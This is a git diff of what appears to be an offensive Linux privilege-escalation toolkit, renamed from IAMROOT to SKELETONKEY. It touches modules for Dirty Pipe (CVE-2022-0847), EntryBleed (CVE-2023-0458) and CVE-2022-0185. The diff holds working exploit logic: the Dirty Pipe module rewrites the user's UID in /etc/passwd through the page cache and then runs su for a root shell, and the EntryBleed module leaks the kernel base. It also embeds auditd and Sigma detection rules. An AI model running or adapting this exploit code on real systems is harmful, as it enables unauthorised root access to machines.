/* probe < 0: probe machinery failed (mkstemp/open/read) — fall
|
||||||
* back to version-only verdict and report TEST_ERROR caveat */
|
* back to version-only verdict and report TEST_ERROR caveat */
|
||||||
@@ -309,21 +309,21 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
|
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
|
||||||
"use --active to confirm empirically)\n", v.release);
|
"use --active to confirm empirically)\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
|
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
|
||||||
" Confirm empirically: re-run with --scan --active\n",
|
" Confirm empirically: re-run with --scan --active\n",
|
||||||
v.release);
|
v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* Re-confirm vulnerability before writing to /etc/passwd. */
|
/* Re-confirm vulnerability before writing to /etc/passwd. */
|
||||||
iamroot_result_t pre = dirty_pipe_detect(ctx);
|
skeletonkey_result_t pre = dirty_pipe_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
|
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
@@ -333,11 +333,11 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
|||||||
struct passwd *pw = getpwuid(euid);
|
struct passwd *pw = getpwuid(euid);
|
||||||
if (!pw) {
|
if (!pw) {
|
||||||
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
|
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
if (euid == 0) {
|
if (euid == 0) {
|
||||||
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
|
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
|
||||||
@@ -349,7 +349,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
|||||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
||||||
fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
|
fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
|
||||||
pw->pw_name);
|
pw->pw_name);
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
||||||
@@ -368,7 +368,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* far past the file's first 4096 bytes. Refuse cleanly. */
|
* far past the file's first 4096 bytes. Refuse cleanly. */
|
||||||
if ((uid_off & 0xfff) == 0) {
|
if ((uid_off & 0xfff) == 0) {
|
||||||
fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
|
fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -377,13 +377,13 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
|||||||
}
|
}
|
||||||
if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
|
if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
|
||||||
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
|
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ctx->no_shell) {
|
if (ctx->no_shell) {
|
||||||
fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
|
fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
|
||||||
"[i] dirty_pipe: revert with `iamroot --cleanup dirty_pipe`\n");
|
"[i] dirty_pipe: revert with `skeletonkey --cleanup dirty_pipe`\n");
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* /etc/passwd now reports our user as uid 0 (in the page cache).
|
/* /etc/passwd now reports our user as uid 0 (in the page cache).
|
||||||
@@ -394,35 +394,35 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
|||||||
/* If execlp returns, su didn't actually pop root — revert and report. */
|
/* If execlp returns, su didn't actually pop root — revert and report. */
|
||||||
perror("execlp(su)");
|
perror("execlp(su)");
|
||||||
revert_passwd_page_cache();
|
revert_passwd_page_cache();
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t dirty_pipe_cleanup(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
|
fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
|
||||||
}
|
}
|
||||||
revert_passwd_page_cache();
|
revert_passwd_page_cache();
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Embedded detection rules — keep the binary self-contained so
|
/* Embedded detection rules — keep the binary self-contained so
|
||||||
* `iamroot --detect-rules --format=auditd` works without a separate
|
* `skeletonkey --detect-rules --format=auditd` works without a separate
|
||||||
* data-dir install. */
|
* data-dir install. */
|
||||||
static const char dirty_pipe_auditd[] =
|
static const char dirty_pipe_auditd[] =
|
||||||
"# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
|
"# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
|
||||||
"# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
|
"# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
|
||||||
"-w /etc/passwd -p wa -k iamroot-dirty-pipe\n"
|
"-w /etc/passwd -p wa -k skeletonkey-dirty-pipe\n"
|
||||||
"-w /etc/shadow -p wa -k iamroot-dirty-pipe\n"
|
"-w /etc/shadow -p wa -k skeletonkey-dirty-pipe\n"
|
||||||
"-w /etc/sudoers -p wa -k iamroot-dirty-pipe\n"
|
"-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe\n"
|
||||||
"-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe\n"
|
"-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe\n"
|
||||||
"-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice\n"
|
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
|
||||||
"-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice\n";
|
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
|
||||||
|
|
||||||
static const char dirty_pipe_sigma[] =
|
static const char dirty_pipe_sigma[] =
|
||||||
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
|
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
|
||||||
"id: f6b13c08-iamroot-dirty-pipe\n"
|
"id: f6b13c08-skeletonkey-dirty-pipe\n"
|
||||||
"status: experimental\n"
|
"status: experimental\n"
|
||||||
"logsource: {product: linux, service: auditd}\n"
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
"detection:\n"
|
"detection:\n"
|
||||||
@@ -435,7 +435,7 @@ static const char dirty_pipe_sigma[] =
|
|||||||
"level: high\n"
|
"level: high\n"
|
||||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
|
||||||
|
|
||||||
const struct iamroot_module dirty_pipe_module = {
|
const struct skeletonkey_module dirty_pipe_module = {
|
||||||
.name = "dirty_pipe",
|
.name = "dirty_pipe",
|
||||||
.cve = "CVE-2022-0847",
|
.cve = "CVE-2022-0847",
|
||||||
.summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
|
.summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
|
||||||
@@ -451,7 +451,7 @@ const struct iamroot_module dirty_pipe_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_dirty_pipe(void)
|
void skeletonkey_register_dirty_pipe(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&dirty_pipe_module);
|
skeletonkey_register(&dirty_pipe_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* dirty_pipe_cve_2022_0847 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef DIRTY_PIPE_SKELETONKEY_MODULES_H
|
||||||
|
#define DIRTY_PIPE_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module dirty_pipe_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -45,7 +45,7 @@ There is no single canonical patch. Partial mitigations include:
|
|||||||
- Lift the proven EntryBleed code from
|
- Lift the proven EntryBleed code from
|
||||||
`SKYFALL/bugs/leak_write_modprobe_2026-05-16/exploit.c` into
|
`SKYFALL/bugs/leak_write_modprobe_2026-05-16/exploit.c` into
|
||||||
`module.c` here
|
`module.c` here
|
||||||
- Expose as both a CLI mode (`iamroot --leak-kbase`) and as a
|
- Expose as both a CLI mode (`skeletonkey --leak-kbase`) and as a
|
||||||
library helper (`uint64_t entrybleed_leak_kbase(void)`)
|
library helper (`uint64_t entrybleed_leak_kbase(void)`)
|
||||||
- Detection rules: timing-attack pattern flags, perf-counter
|
- Detection rules: timing-attack pattern flags, perf-counter
|
||||||
anomaly detection (informational — these are hard to make precise
|
anomaly detection (informational — these are hard to make precise
|
||||||
|
|||||||
@@ -14,10 +14,10 @@ Discovered by **Will Findlay**. Formally presented at USENIX Security '23:
|
|||||||
|
|
||||||
Mainline status: no canonical patch — partial mitigations only.
|
Mainline status: no canonical patch — partial mitigations only.
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
This is a **stage-1 leak primitive**, not a standalone LPE. Other
|
This is a **stage-1 leak primitive**, not a standalone LPE. Other
|
||||||
modules can call `entrybleed_leak_kbase_lib()` to obtain a KASLR
|
modules can call `entrybleed_leak_kbase_lib()` to obtain a KASLR
|
||||||
slide and feed it to the offset resolver in `core/offsets.c`. x86_64
|
slide and feed it to the offset resolver in `core/offsets.c`. x86_64
|
||||||
only; the `entry_SYSCALL_64` slot offset is configurable via the
|
only; the `entry_SYSCALL_64` slot offset is configurable via the
|
||||||
`IAMROOT_ENTRYBLEED_OFFSET` env var.
|
`SKELETONKEY_ENTRYBLEED_OFFSET` env var.
|
||||||
|
|||||||
+25
-25
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* entrybleed_cve_2023_0458 — IAMROOT module
|
* entrybleed_cve_2023_0458 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta
|
* EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta
|
||||||
* timing side-channel that leaks the kernel base address.
|
* timing side-channel that leaks the kernel base address.
|
||||||
@@ -13,10 +13,10 @@
|
|||||||
* anti-EntryBleed mitigation = VULNERABLE.
|
* anti-EntryBleed mitigation = VULNERABLE.
|
||||||
* - This module is also a LIBRARY: other modules that need a kbase
|
* - This module is also a LIBRARY: other modules that need a kbase
|
||||||
* leak as part of a chain can call `entrybleed_leak_kbase_lib()`
|
* leak as part of a chain can call `entrybleed_leak_kbase_lib()`
|
||||||
* directly (declared in iamroot_modules.h).
|
* directly (declared in skeletonkey_modules.h).
|
||||||
*
|
*
|
||||||
* x86_64 only. On ARM64 / other arches, detect() returns
|
* x86_64 only. On ARM64 / other arches, detect() returns
|
||||||
* IAMROOT_PRECOND_FAIL and exploit() returns IAMROOT_PRECOND_FAIL.
|
* SKELETONKEY_PRECOND_FAIL and exploit() returns SKELETONKEY_PRECOND_FAIL.
|
||||||
*
|
*
|
||||||
* For users who'd never go to USENIX (TLDR):
|
* For users who'd never go to USENIX (TLDR):
|
||||||
* - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves
|
* - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves
|
||||||
@@ -30,7 +30,7 @@
|
|||||||
* - Subtract its known offset from kbase → KASLR slide
|
* - Subtract its known offset from kbase → KASLR slide
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
@@ -120,7 +120,7 @@ static int read_first_line(const char *path, char *out, size_t n)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
|
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
|
||||||
* is the most direct signal: "Mitigation: PTI" means KPTI is on
|
* is the most direct signal: "Mitigation: PTI" means KPTI is on
|
||||||
@@ -134,7 +134,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
|
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
|
||||||
"assuming KPTI on (conservative)\n");
|
"assuming KPTI on (conservative)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
|
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
|
||||||
@@ -146,7 +146,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
|
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
|
||||||
"EntryBleed N/A\n");
|
"EntryBleed N/A\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely
|
/* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely
|
||||||
@@ -178,7 +178,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — "
|
fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — "
|
||||||
"leak yields plausible kbase 0x%lx\n", kbase);
|
"leak yields plausible kbase 0x%lx\n", kbase);
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase "
|
fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase "
|
||||||
@@ -186,9 +186,9 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
|||||||
}
|
}
|
||||||
/* Implausible probe result. Either the entry_SYSCALL_64 slot
|
/* Implausible probe result. Either the entry_SYSCALL_64 slot
|
||||||
* offset doesn't match lts-6.12.x default (different kernel
|
* offset doesn't match lts-6.12.x default (different kernel
|
||||||
* build) — user should set IAMROOT_ENTRYBLEED_OFFSET — or
|
* build) — user should set SKELETONKEY_ENTRYBLEED_OFFSET — or
|
||||||
* timing is too noisy. Don't claim CONFIRMED. */
|
* timing is too noisy. Don't claim CONFIRMED. */
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -197,21 +197,21 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; "
|
fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; "
|
||||||
"no /etc/passwd writes)\n");
|
"no /etc/passwd writes)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
const char *off_env = getenv("IAMROOT_ENTRYBLEED_OFFSET");
|
const char *off_env = getenv("SKELETONKEY_ENTRYBLEED_OFFSET");
|
||||||
unsigned long off = 0;
|
unsigned long off = 0;
|
||||||
if (off_env) {
|
if (off_env) {
|
||||||
off = strtoul(off_env, NULL, 0);
|
off = strtoul(off_env, NULL, 0);
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] entrybleed: using IAMROOT_ENTRYBLEED_OFFSET=0x%lx\n", off);
|
fprintf(stderr, "[i] entrybleed: using SKELETONKEY_ENTRYBLEED_OFFSET=0x%lx\n", off);
|
||||||
}
|
}
|
||||||
} else if (!ctx->json) {
|
} else if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset "
|
fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset "
|
||||||
"0x%lx (lts-6.12.x). Override via IAMROOT_ENTRYBLEED_OFFSET=0x...\n",
|
"0x%lx (lts-6.12.x). Override via SKELETONKEY_ENTRYBLEED_OFFSET=0x...\n",
|
||||||
DEFAULT_ENTRY_OFF);
|
DEFAULT_ENTRY_OFF);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -223,7 +223,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
|||||||
unsigned long kbase = entrybleed_leak_kbase_lib(off);
|
unsigned long kbase = entrybleed_leak_kbase_lib(off);
|
||||||
if (kbase == 0) {
|
if (kbase == 0) {
|
||||||
fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n");
|
fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ctx->json) {
|
if (ctx->json) {
|
||||||
@@ -233,7 +233,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n",
|
fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n",
|
||||||
kbase - 0xffffffff81000000UL);
|
kbase - 0xffffffff81000000UL);
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
#else /* not x86_64 */
|
#else /* not x86_64 */
|
||||||
@@ -244,19 +244,19 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long off)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a "
|
fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a "
|
||||||
"different architecture\n");
|
"different architecture\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
fprintf(stderr, "[-] entrybleed: x86_64 only\n");
|
fprintf(stderr, "[-] entrybleed: x86_64 only\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -268,7 +268,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* Ship a Sigma note describing this; auditd rule intentionally omitted. */
|
* Ship a Sigma note describing this; auditd rule intentionally omitted. */
|
||||||
static const char entrybleed_sigma[] =
|
static const char entrybleed_sigma[] =
|
||||||
"title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n"
|
"title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n"
|
||||||
"id: 7b3a48d1-iamroot-entrybleed\n"
|
"id: 7b3a48d1-skeletonkey-entrybleed\n"
|
||||||
"status: experimental\n"
|
"status: experimental\n"
|
||||||
"description: |\n"
|
"description: |\n"
|
||||||
" EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n"
|
" EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n"
|
||||||
@@ -280,7 +280,7 @@ static const char entrybleed_sigma[] =
|
|||||||
"level: informational\n"
|
"level: informational\n"
|
||||||
"tags: [attack.discovery, attack.t1082, cve.2023.0458]\n";
|
"tags: [attack.discovery, attack.t1082, cve.2023.0458]\n";
|
||||||
|
|
||||||
const struct iamroot_module entrybleed_module = {
|
const struct skeletonkey_module entrybleed_module = {
|
||||||
.name = "entrybleed",
|
.name = "entrybleed",
|
||||||
.cve = "CVE-2023-0458",
|
.cve = "CVE-2023-0458",
|
||||||
.summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)",
|
.summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)",
|
||||||
@@ -296,7 +296,7 @@ const struct iamroot_module entrybleed_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_entrybleed(void)
|
void skeletonkey_register_entrybleed(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&entrybleed_module);
|
skeletonkey_register(&entrybleed_module);
|
||||||
}
|
}
|
||||||
+4
-4
@@ -1,13 +1,13 @@
|
|||||||
/*
|
/*
|
||||||
* entrybleed_cve_2023_0458 — IAMROOT module registry hook
|
* entrybleed_cve_2023_0458 — SKELETONKEY module registry hook
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifndef ENTRYBLEED_IAMROOT_MODULES_H
|
#ifndef ENTRYBLEED_SKELETONKEY_MODULES_H
|
||||||
#define ENTRYBLEED_IAMROOT_MODULES_H
|
#define ENTRYBLEED_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
#include "../../core/module.h"
|
#include "../../core/module.h"
|
||||||
|
|
||||||
extern const struct iamroot_module entrybleed_module;
|
extern const struct skeletonkey_module entrybleed_module;
|
||||||
|
|
||||||
/* Library entry point for other modules that need a kbase leak.
|
/* Library entry point for other modules that need a kbase leak.
|
||||||
* Returns the leaked kernel _text base on success, or 0 on failure
|
* Returns the leaked kernel _text base on success, or 0 on failure
|
||||||
@@ -18,7 +18,7 @@ Public PoC: <https://github.com/Crusaders-of-Rust/CVE-2022-0185>
|
|||||||
Upstream fix: mainline 5.16.2 (Jan 2022).
|
Upstream fix: mainline 5.16.2 (Jan 2022).
|
||||||
Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171.
|
Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171.
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
userns+mountns reach, `fsopen("cgroup2")` + double
|
userns+mountns reach, `fsopen("cgroup2")` + double
|
||||||
`fsconfig(FSCONFIG_SET_STRING, "source", ...)` fires the 4k OOB,
|
`fsconfig(FSCONFIG_SET_STRING, "source", ...)` fires the 4k OOB,
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* fuse_legacy_cve_2022_0185 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef FUSE_LEGACY_IAMROOT_MODULES_H
|
|
||||||
#define FUSE_LEGACY_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module fuse_legacy_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+45
-45
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* fuse_legacy_cve_2022_0185 — IAMROOT module
|
* fuse_legacy_cve_2022_0185 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* legacy_parse_param() in fs/fs_context.c had a heap overflow when
|
* legacy_parse_param() in fs/fs_context.c had a heap overflow when
|
||||||
* parsing the "fsconfig" filesystem option strings — specifically,
|
* parsing the "fsconfig" filesystem option strings — specifically,
|
||||||
@@ -38,7 +38,7 @@
|
|||||||
*
|
*
|
||||||
* On a *patched* host (which is every host we can routinely build
|
* On a *patched* host (which is every host we can routinely build
|
||||||
* on in 2026) detect() refuses and exploit() returns
|
* on in 2026) detect() refuses and exploit() returns
|
||||||
* IAMROOT_PRECOND_FAIL with no syscalls.
|
* SKELETONKEY_PRECOND_FAIL with no syscalls.
|
||||||
*
|
*
|
||||||
* Affected: kernel 5.1+ until fix:
|
* Affected: kernel 5.1+ until fix:
|
||||||
* Mainline fix: 722d94847de29 (Jan 18 2022) — lands in 5.16.2
|
* Mainline fix: 722d94847de29 (Jan 18 2022) — lands in 5.16.2
|
||||||
@@ -57,7 +57,7 @@
|
|||||||
* is enabled.
|
* is enabled.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
#include "../../core/offsets.h"
|
#include "../../core/offsets.h"
|
||||||
@@ -169,12 +169,12 @@ static int can_unshare_userns_mount(void)
|
|||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
/* detect */
|
/* detect */
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
struct kernel_version v;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!kernel_version_current(&v)) {
|
||||||
fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n");
|
fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
|
